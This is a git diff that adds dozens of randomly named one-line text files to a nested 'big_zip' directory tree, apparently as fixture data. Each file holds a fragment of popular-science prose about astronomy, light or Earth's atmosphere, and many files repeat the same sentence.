diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/file_pmxsdsruaqxvul.txt b/big_zip/big-zip-files/folder_eqpflnlidb/file_pmxsdsruaqxvul.txt
new file mode 100644
index 0000000..73f6b1e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/file_pmxsdsruaqxvul.txt
@@ -0,0 +1 @@
+him to study the motion of, say, Venus, Kepler might never have discovered the true orbits
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/file_tcrnmlasfmcmuysulrsxg.txt b/big_zip/big-zip-files/folder_eqpflnlidb/file_tcrnmlasfmcmuysulrsxg.txt
new file mode 100644
index 0000000..73f6b1e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/file_tcrnmlasfmcmuysulrsxg.txt
@@ -0,0 +1 @@
+him to study the motion of, say, Venus, Kepler might never have discovered the true orbits
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/file_tfmxcvtbnmkulqpgwrbz.txt b/big_zip/big-zip-files/folder_eqpflnlidb/file_tfmxcvtbnmkulqpgwrbz.txt
new file mode 100644
index 0000000..73f6b1e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/file_tfmxcvtbnmkulqpgwrbz.txt
@@ -0,0 +1 @@
+him to study the motion of, say, Venus, Kepler might never have discovered the true orbits
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/file_uotvmzgo.txt b/big_zip/big-zip-files/folder_eqpflnlidb/file_uotvmzgo.txt
new file mode 100644
index 0000000..73f6b1e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/file_uotvmzgo.txt
@@ -0,0 +1 @@
+him to study the motion of, say, Venus, Kepler might never have discovered the true orbits
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/file_zhvxbtsmgpvrzo.txt b/big_zip/big-zip-files/folder_eqpflnlidb/file_zhvxbtsmgpvrzo.txt
new file mode 100644
index 0000000..73f6b1e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/file_zhvxbtsmgpvrzo.txt
@@ -0,0 +1 @@
+him to study the motion of, say, Venus, Kepler might never have discovered the true orbits
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_chpskhypfvidspcxyemf.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_chpskhypfvidspcxyemf.txt
new file mode 100644
index 0000000..8cf1e33
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_chpskhypfvidspcxyemf.txt
@@ -0,0 +1 @@
+forever ignorant of the possible range and brilliance of other intelligences and other
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_ghbvsguehmoza.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_ghbvsguehmoza.txt
new file mode 100644
index 0000000..8cf1e33
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_ghbvsguehmoza.txt
@@ -0,0 +1 @@
+forever ignorant of the possible range and brilliance of other intelligences and other
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_hcqbvtfqyayrwkktitz.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_hcqbvtfqyayrwkktitz.txt
new file mode 100644
index 0000000..8cf1e33
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_hcqbvtfqyayrwkktitz.txt
@@ -0,0 +1 @@
+forever ignorant of the possible range and brilliance of other intelligences and other
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_kbacvivngjlk.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_kbacvivngjlk.txt
new file mode 100644
index 0000000..8cf1e33
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_kbacvivngjlk.txt
@@ -0,0 +1 @@
+forever ignorant of the possible range and brilliance of other intelligences and other
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_ldfuscomclosfwwsnin.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_ldfuscomclosfwwsnin.txt
new file mode 100644
index 0000000..8cf1e33
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_ldfuscomclosfwwsnin.txt
@@ -0,0 +1 @@
+forever ignorant of the possible range and brilliance of other intelligences and other
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_lefceankvltswm.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_lefceankvltswm.txt
new file mode 100644
index 0000000..8cf1e33
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_lefceankvltswm.txt
@@ -0,0 +1 @@
+forever ignorant of the possible range and brilliance of other intelligences and other
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_onenrhicuppvtvywhdw.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_onenrhicuppvtvywhdw.txt
new file mode 100644
index 0000000..8cf1e33
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_onenrhicuppvtvywhdw.txt
@@ -0,0 +1 @@
+forever ignorant of the possible range and brilliance of other intelligences and other
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_sfjhbpcaswtscqu.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_sfjhbpcaswtscqu.txt
new file mode 100644
index 0000000..8cf1e33
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_sfjhbpcaswtscqu.txt
@@ -0,0 +1 @@
+forever ignorant of the possible range and brilliance of other intelligences and other
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_ubwecawyox.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_ubwecawyox.txt
new file mode 100644
index 0000000..8cf1e33
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_ubwecawyox.txt
@@ -0,0 +1 @@
+forever ignorant of the possible range and brilliance of other intelligences and other
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_zlicxaotmkbep.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_zlicxaotmkbep.txt
new file mode 100644
index 0000000..8cf1e33
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/file_zlicxaotmkbep.txt
@@ -0,0 +1 @@
+forever ignorant of the possible range and brilliance of other intelligences and other
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/akedlxfyivjgwnhhlxsefmie.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/akedlxfyivjgwnhhlxsefmie.txt
new file mode 100644
index 0000000..ac4acdd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/akedlxfyivjgwnhhlxsefmie.txt
@@ -0,0 +1 @@
+planet Mars. For the first time in human history we had landed two space vehicles on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/bhoequouufncmcn.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/bhoequouufncmcn.txt
new file mode 100644
index 0000000..5ce103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/bhoequouufncmcn.txt
@@ -0,0 +1 @@
+Mars?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/emepnsbxbfedjnfzgbymxb.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/emepnsbxbfedjnfzgbymxb.txt
new file mode 100644
index 0000000..ef6ef04
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/emepnsbxbfedjnfzgbymxb.txt
@@ -0,0 +1 @@
+quarter billion years. If we were to speed the rotation, we would see that the Galaxy is a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_btfladgdausqdifpktmbnzq.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_btfladgdausqdifpktmbnzq.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_btfladgdausqdifpktmbnzq.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_cgeifkrtdwlpjhwmknnpfy.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_cgeifkrtdwlpjhwmknnpfy.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_cgeifkrtdwlpjhwmknnpfy.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_czlakesxxizmgsjd.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_czlakesxxizmgsjd.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_czlakesxxizmgsjd.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_hkjtsxuevtrsmsda.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_hkjtsxuevtrsmsda.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_hkjtsxuevtrsmsda.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_hmqkkkna.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_hmqkkkna.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_hmqkkkna.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_ibtjvyvdvhxkyxrrnsfiq.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_ibtjvyvdvhxkyxrrnsfiq.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_ibtjvyvdvhxkyxrrnsfiq.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_jgwwxdvlocg.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_jgwwxdvlocg.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_jgwwxdvlocg.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_lmrgillscvejaikjp.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_lmrgillscvejaikjp.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_lmrgillscvejaikjp.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_lohpjuuihdkjrokumdsbj.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_lohpjuuihdkjrokumdsbj.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_lohpjuuihdkjrokumdsbj.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_lolpoqdnztppol.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_lolpoqdnztppol.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_lolpoqdnztppol.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_lvchvmakgylrmhzsuxfsj.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_lvchvmakgylrmhzsuxfsj.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_lvchvmakgylrmhzsuxfsj.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_maejcbclhgv.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_maejcbclhgv.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_maejcbclhgv.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_pnmwtwgyrdshyqxmnuyyxvu.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_pnmwtwgyrdshyqxmnuyyxvu.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_pnmwtwgyrdshyqxmnuyyxvu.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_rtlehdqotwgge.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_rtlehdqotwgge.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_rtlehdqotwgge.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_rvdinjhoqwzslhlzxpxj.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_rvdinjhoqwzslhlzxpxj.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_rvdinjhoqwzslhlzxpxj.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_tqgvtmjykavyqaksefkid.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_tqgvtmjykavyqaksefkid.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_tqgvtmjykavyqaksefkid.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_trbgybbk.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_trbgybbk.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_trbgybbk.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_tsfzdmkwdwfajlbqnvhllsch.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_tsfzdmkwdwfajlbqnvhllsch.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_tsfzdmkwdwfajlbqnvhllsch.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_ubpauuqwuygbdgsed.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_ubpauuqwuygbdgsed.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_ubpauuqwuygbdgsed.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_ujsoafnhwegrjgyobkrtetz.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_ujsoafnhwegrjgyobkrtetz.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_ujsoafnhwegrjgyobkrtetz.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_vywaezcvagvjrqnr.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_vywaezcvagvjrqnr.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_vywaezcvagvjrqnr.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_wjgkxctolbw.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_wjgkxctolbw.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_wjgkxctolbw.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_ykrvkfcgnj.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_ykrvkfcgnj.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_ykrvkfcgnj.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_ysxixxeykotguwagfvjznpkl.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_ysxixxeykotguwagfvjznpkl.txt
new file mode 100644
index 0000000..71418cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/file_ysxixxeykotguwagfvjznpkl.txt
@@ -0,0 +1 @@
+common-sense notions, but it is in excellent accord with what experiments have shown light really does.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/fualdrrbhjwinuxbggg.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/fualdrrbhjwinuxbggg.txt
new file mode 100644
index 0000000..b9bd29b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/fualdrrbhjwinuxbggg.txt
@@ -0,0 +1 @@
+years away contain the same chemical elements as our Sun and the nearby stars. Humason
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/gddqwaxouoc.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/gddqwaxouoc.txt
new file mode 100644
index 0000000..ea75967
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/gddqwaxouoc.txt
@@ -0,0 +1 @@
+role than it does in life on Earth.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/nvrgfscxfnm.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/nvrgfscxfnm.txt
new file mode 100644
index 0000000..9a2c72f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/nvrgfscxfnm.txt
@@ -0,0 +1 @@
+In the lifetime of the universe there has apparently not been enough time for an initial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/ogbvptbkrjzy.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/ogbvptbkrjzy.txt
new file mode 100644
index 0000000..3cba5b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/ogbvptbkrjzy.txt
@@ -0,0 +1 @@
+there is another way, equally appealing, equally human, and far more compelling: natural
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/owxdjgoqwtpobznrehsjnwg.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/owxdjgoqwtpobznrehsjnwg.txt
new file mode 100644
index 0000000..5df86fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/owxdjgoqwtpobznrehsjnwg.txt
@@ -0,0 +1 @@
+transition to an oxidizing atmosphere posed a supreme crisis in the history of life, and a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/pkmrlpjftlvhxzsncqgbhqdb.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/pkmrlpjftlvhxzsncqgbhqdb.txt
new file mode 100644
index 0000000..c4171ca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/pkmrlpjftlvhxzsncqgbhqdb.txt
@@ -0,0 +1 @@
+which was clear and light drifted up to become heaven, while that which was heavy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/qbxvxyddumsbggeghlmpijen.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/qbxvxyddumsbggeghlmpijen.txt
new file mode 100644
index 0000000..39e5ec6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/qbxvxyddumsbggeghlmpijen.txt
@@ -0,0 +1 @@
+generated in the Jupiter system. Some 3,500 years ago, it careered in toward the inner solar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/quljqzwydxc.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/quljqzwydxc.txt
new file mode 100644
index 0000000..fc79897
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/quljqzwydxc.txt
@@ -0,0 +1 @@
+exactly equal the number of electrons in the electron cloud. The chemistry of an atom
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/qwkeceiqhtkfbhpx.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/qwkeceiqhtkfbhpx.txt
new file mode 100644
index 0000000..00574ed
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/qwkeceiqhtkfbhpx.txt
@@ -0,0 +1 @@
+exhalations, a kind of planet-wide mutual mouth-to-stoma resuscitation, the entire elegant
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/vemlzkjvxkydqsdticwwx.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/vemlzkjvxkydqsdticwwx.txt
new file mode 100644
index 0000000..c2f80f9
--- /dev/null
